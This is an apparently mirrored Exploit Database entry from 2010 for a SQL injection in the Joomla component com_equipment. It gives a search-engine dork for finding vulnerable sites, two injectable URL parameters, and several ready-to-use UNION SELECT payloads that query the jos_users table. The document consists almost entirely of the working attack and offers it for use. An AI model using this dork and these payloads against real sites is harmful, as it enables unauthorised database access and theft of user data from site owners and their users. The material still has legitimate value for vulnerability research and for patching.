Joomla! Component com_equipment – SQL Injection

• Exploit Database
• 157 阅读

• 作者： Forza-Dz
  日期： 2010-08-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14655/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

  # Exploit Title : Joomla "com_equipment" Sql Injection Vulnerability # Date : 16 - 8 - 2010 # Author : Forza-Dz # Vendor : http://joomlaequipment.com/ # Version : All Versions # Tested on : Win Sp2 and Mac ############################################################ Dork = inurl:"com_equipment" ############################################################ --- SQL Injection Vulenrability --- SQL Injection Vulenrability component "com_equipment" ############################################################ ===[ Exploit ]=== http://www.site.com/path/index.php?option=com_equipment&view=details&id=[SQL] or http://www.site.com/path/index.php?option=com_equipment&task=components&id=45&sec_men_id=[SQL] ############################################################ ===[Injection]=== [SQL] = +Union+select+1,user(),3,4,5,6+from+jos_users-- [SQL] = +Union+select+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17+jos_users-- [SQL] = +Union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users-- ############################################################ Greetz @ MCA-CRB All "DZ" "MusliM" ############################################################ ======[saha fotorkom]====== ############################################################